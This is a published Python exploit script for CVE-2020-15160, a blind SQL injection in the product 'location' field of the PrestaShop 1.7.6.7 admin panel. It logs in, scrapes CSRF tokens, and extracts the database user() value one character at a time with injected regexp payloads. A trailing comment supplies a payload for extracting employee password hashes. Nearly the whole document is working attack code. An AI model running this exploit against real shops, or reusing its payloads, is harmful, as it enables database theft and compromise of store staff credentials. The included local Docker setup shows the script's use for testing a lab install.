PrestaShop 1.7.6.7 Exploit, 'location' Blind Sql Injection

# Exploit Title: PrestaShop 1.7.6.7 - 'location' Blind Sql Injection 
# Date: 2021-04-08
# Exploit Author: Vanshal Gaur
# Vendor Homepage: https://www.prestashop.com/
# Version: 1.7.5.x < 1.7.6.8
# Tested on: Debian 10 (buster)
# CVE : CVE-2020-15160

#!/usr/bin/python3

'''

Setup Vulnerable Docker on "localhost:8080":

docker network create prestashop-net
docker run -ti --name mysql_z --network prestashop-net -e MYSQL_ROOT_PASSWORD=admin -p 3307:3306 -d mysql:5.7
docker run -ti --name prestashop_z --network prestashop-net -e DB_SERVER=mysql_z -p 8080:80 -d prestashop/prestashop:1.7.6.7
'''

import requests 
import sys
from lxml import html
import re


if len(sys.argv) != 7:
    print(
        '''
        Exploit By: Vanshal Gaur
        Twitter Handle: @Vanshalg

        Exploit: CVE-2020-15160 PrestaShop blind Sql Injection 1.7.5.0 < 1.7.6.8 

        Before Running the script make sure to login and change "Combinations" to "Simple product" of the product and give that productid. 

        Script will retrive the output of user() function, edit payload in script to retrive other data (Tested With Prestashop 1.7.6.7) 
        
        Usage: python3 {} email password localhost 8080 productid /adminpath

               python3 exploit.py "test@gmail.com" "password" localhost 8080 11 /admin123
        '''.format(sys.argv[0])
    )
    sys.exit(1)  

print("Exploiting...(Be Patient)\n")
email = sys.argv[1]
password = sys.argv[2]
target_host = sys.argv[3]
target_port = sys.argv[4]
product_id = sys.argv[5]
admin_path = sys.argv[6]
target = "http://"+target_host+":"+target_port

# proxies = {"http": "http://127.0.0.1:8081", "https": "http://127.0.0.1:8081"}

s = requests.Session()

def login(s,target,password,email,admin_path):
    url = target+admin_path+"/index.php"
    
    data = {"ajax": "1", "token": '', "controller": "AdminLogin", "submitLogin": "1", "passwd": "TEMP", "email": "test@email.com"}
    data["passwd"] = password
    data["email"] = email
    r = s.post(url, data=data)

login(s,target,password,email,admin_path)


token_ext = s.get(target+admin_path+"/")
token_junk = re.findall("sell/catalog/pro.*_token\=.*",token_ext.text)
token_spit = re.split("\"",token_junk[0])
token_2 = re.split("\?",token_spit[0])
token = token_2[1]


def productDetails_formtoken(s,target,product_id,admin_path):
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    
    q = s.get(target+admin_path+"/index.php/sell/catalog/products/"+product_id+"?"+token,headers=headers)
    tree = html.fromstring(q.text)
    output = tree.xpath("//input[contains(@name,'form[_token]')]/@value")
    form_token = ''.join(output)
    return form_token

form_token  = productDetails_formtoken(s,target,product_id,admin_path)


def productDetails_form_location(s,target,token,product_id,admin_path):
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    
    q = s.get(target+admin_path+"/index.php/sell/catalog/products/"+product_id+"?"+token,headers=headers)
    tree = html.fromstring(q.text)
    output = tree.xpath("//input[contains(@name,'form[step3][location]')]/@value")
    form_location = ''.join(output)
    
    return form_location




def sqli(s,token,form_token,payload,target,product_id,admin_path):
    for j in range(32, 126):

        sql_payload = payload.replace("[CHAR]", str(j))

        url = target+admin_path+"/index.php/sell/catalog/products/"+product_id+"?"+token
        headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}
        data = {"form[step1][name][1]": "Blind Sql Injection @Vanshalg", "form[step1][type_product]": "0", "form[step1][description_short][1]": "<p><span style=\"font-size:10pt;font-style:normal;\">Regular fit, round neckline, short sleeves. Made of extra long staple pima cotton. </span></p>\r\n<p></p>", "form[step1][description][1]": "<p><span style=\"font-size:10pt;font-style:normal;\"><span style=\"font-size:10pt;font-style:normal;\">Symbol of lightness and delicacy, the hummingbird evokes curiosity and joy.</span><span style=\"font-size:10pt;font-style:normal;\"> Studio Design' PolyFaune collection features classic products with colorful patterns, inspired by the traditional japanese origamis. To wear with a chino or jeans. The sublimation textile printing process provides an exceptional color rendering and a color, guaranteed overtime.</span></span></p>", "form[step1][features][0][feature]": "1", "form[step1][features][0][value]": "4", "form[step1][features][0][custom_value][1]": '', "form[step1][features][1][feature]": "2", "form[step1][features][1][value]": "8", "form[step1][features][1][custom_value][1]": '', "form[step1][id_manufacturer]": "1", "show_variations": "0", "form[step6][reference]": "demo_1", "form[step1][qty_0_shortcut]": "0", "form[step1][price_shortcut]": "23.900000", "form[step1][price_ttc_shortcut]": "23.9", "form[step2][id_tax_rules_group]": "1", "form[step1][id_category_default]": "4", "form[step1][categories][tree][]": "2", "form[step1][categories][tree][]": "3", "form[step1][categories][tree][]": "4", "ignore": "4", "form[step1][new_category][name]": '', "form[step1][new_category][id_parent]": "2", "form[step3][qty_0]": "0", "form[step3][minimal_quantity]": "1", "form[step3][location]": "TEST", "form[step3][low_stock_threshold]": '', "form[step3][virtual_product][is_virtual_file]": "0", "form[step3][virtual_product][name]": '', "form[step3][virtual_product][nb_downloadable]": '', "form[step3][virtual_product][expiration_date]": '', "form[step3][virtual_product][nb_days]": "0", "form[step3][pack_stock_type]": "3", "form[step3][attributes]": '', "product_combination_bulk[quantity]": '', "product_combination_bulk[cost_price]": '', "product_combination_bulk[impact_on_weight]": '', "product_combination_bulk[impact_on_price_te]": '', "product_combination_bulk[impact_on_price_ti]": '', "product_combination_bulk[date_availability]": '', "product_combination_bulk[reference]": '', "product_combination_bulk[minimal_quantity]": '', "product_combination_bulk[low_stock_threshold]": '', "product_combination_bulk[_token]": "0Dj8tJ3zd6YfSNgyxRFe6CfNbuMac6mn8rm_Gd52-to", "form[step3][out_of_stock]": "2", "form[step3][available_now][1]": '', "form[step3][available_later][1]": '', "form[step3][available_date]": '', "form[step4][width]": "0", "form[step4][height]": "0", "form[step4][depth]": "0", "form[step4][weight]": "0", "form[step4][additional_delivery_times]": "1", "form[step4][delivery_in_stock][1]": '', "form[step4][delivery_out_stock][1]": '', "form[step4][additional_shipping_cost]": "0.000000", "form[step2][price]": "23.900000", "form[step2][price_ttc]": "23.9", "form[step2][unit_price]": "0.000000", "form[step2][unity]": '', "form[step2][ecotax]": "0.000000", "form[step2][id_tax_rules_group]": "1", "form[step2][wholesale_price]": "0.000000", "form[step2][specific_price][sp_id_shop]": "1", "form[step2][specific_price][sp_id_currency]": '', "form[step2][specific_price][sp_id_country]": '', "form[step2][specific_price][sp_id_group]": '', "form[step2][specific_price][sp_id_product_attribute]": '', "form[step2][specific_price][sp_from]": '', "form[step2][specific_price][sp_to]": '', "form[step2][specific_price][sp_from_quantity]": "1", "form[step2][specific_price][leave_bprice]": "1", "form[step2][specific_price][sp_reduction]": "0.000000", "form[step2][specific_price][sp_reduction_type]": "amount", "form[step2][specific_price][sp_reduction_tax]": "1", "form[step2][specificPricePriority_0]": "id_shop", "form[step2][specificPricePriority_1]": "id_currency", "form[step2][specificPricePriority_2]": "id_country", "form[step2][specificPricePriority_3]": "id_group", "form[step5][meta_title][1]": '', "form[step5][meta_description][1]": '', "form[step5][link_rewrite][1]": "hummingbird-printed-t-shirt", "form[step5][redirect_type]": "301-category", "form[step6][visibility]": "both", "form[step6][display_options][available_for_order]": "1", "form[step6][display_options][show_price]": "1", "form[step6][tags][1]": '', "form[step6][condition]": "new", "form[step6][isbn]": '', "form[step6][ean13]": '', "form[step6][upc]": '', "form[step6][attachment_product][name]": '', "form[step6][attachment_product][description]": '', "form[id_product]": "1", "form[_token]": "4KtBNSbjc--GLbsVr__-wqC5Qw2hQKDXh6zb8vWKBwA", "form[step1][active]": "1"}
        data["form[_token]"] = form_token
        data["form[step3][location]"] = sql_payload
        data["form[id_product]"] = product_id
        # print(sql_payload)
        r = s.post(url, headers=headers, data=data)
        
        if(productDetails_form_location(s,target,token,product_id,admin_path) == "1"):
            return j
    return None


for i in range(1,41):
    payload = "0'|(ascii(substr(user(),%d,1)) regexp [CHAR])#" % i 
    extracted_char = chr(sqli(s,token,form_token,payload,target,product_id,admin_path))
    sys.stdout.write(extracted_char)
    sys.stdout.flush()
print("\n(+) done!")

#PAYLOAD TO EXTRACT PASSWORD: 
# payload:  0'|ascii((substr((select passwd from ps_employee),1,1)) regexp [CHAR]#)

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